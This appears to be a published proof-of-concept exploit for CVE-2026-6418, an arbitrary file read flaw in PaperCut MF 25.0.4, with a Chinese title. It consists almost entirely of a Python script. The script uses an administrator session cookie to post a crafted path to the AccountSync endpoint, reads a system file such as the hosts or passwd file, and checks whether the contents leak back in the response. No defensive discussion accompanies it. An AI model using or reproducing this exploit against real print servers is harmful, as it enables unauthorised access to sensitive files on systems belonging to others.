CVE-2026-6418 PaperCut MF 任意文件读取漏洞

import requests # Exploit for CVE-2026-6418 # Target: PaperCut MF 25.0.4 # Precondition: Valid Admin Session target_host = "http://target-papercut-server:9191" session_cookie = "JSESSIONID=ADMIN_SESSION_ID_HERE" # The vulnerable endpoint for Shared Account Synchronization url = f"{target_host}/app?service=direct/1/AccountSync/manage" # Malicious payload: Reading a sensitive file # Example: Windows host file or Linux passwd file malicious_path = "C:\\Windows\\System32\\drivers\\etc\\hosts" headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Data payload simulating the configuration update data = { "formIds": "path,action", "path": malicious_path, "action": "syncAndTest" } try: response = requests.post(url, headers=headers, data=data) if response.status_code == 200: print("Request sent successfully.") # Check if sensitive content is reflected in the response if "# Copyright (c)" in response.text or "127.0.0.1" in response.text: print("[+] Potential file content found in response.") else: print("[-] File content not directly visible or path invalid.") except Exception as e: print(f"Error: {e}")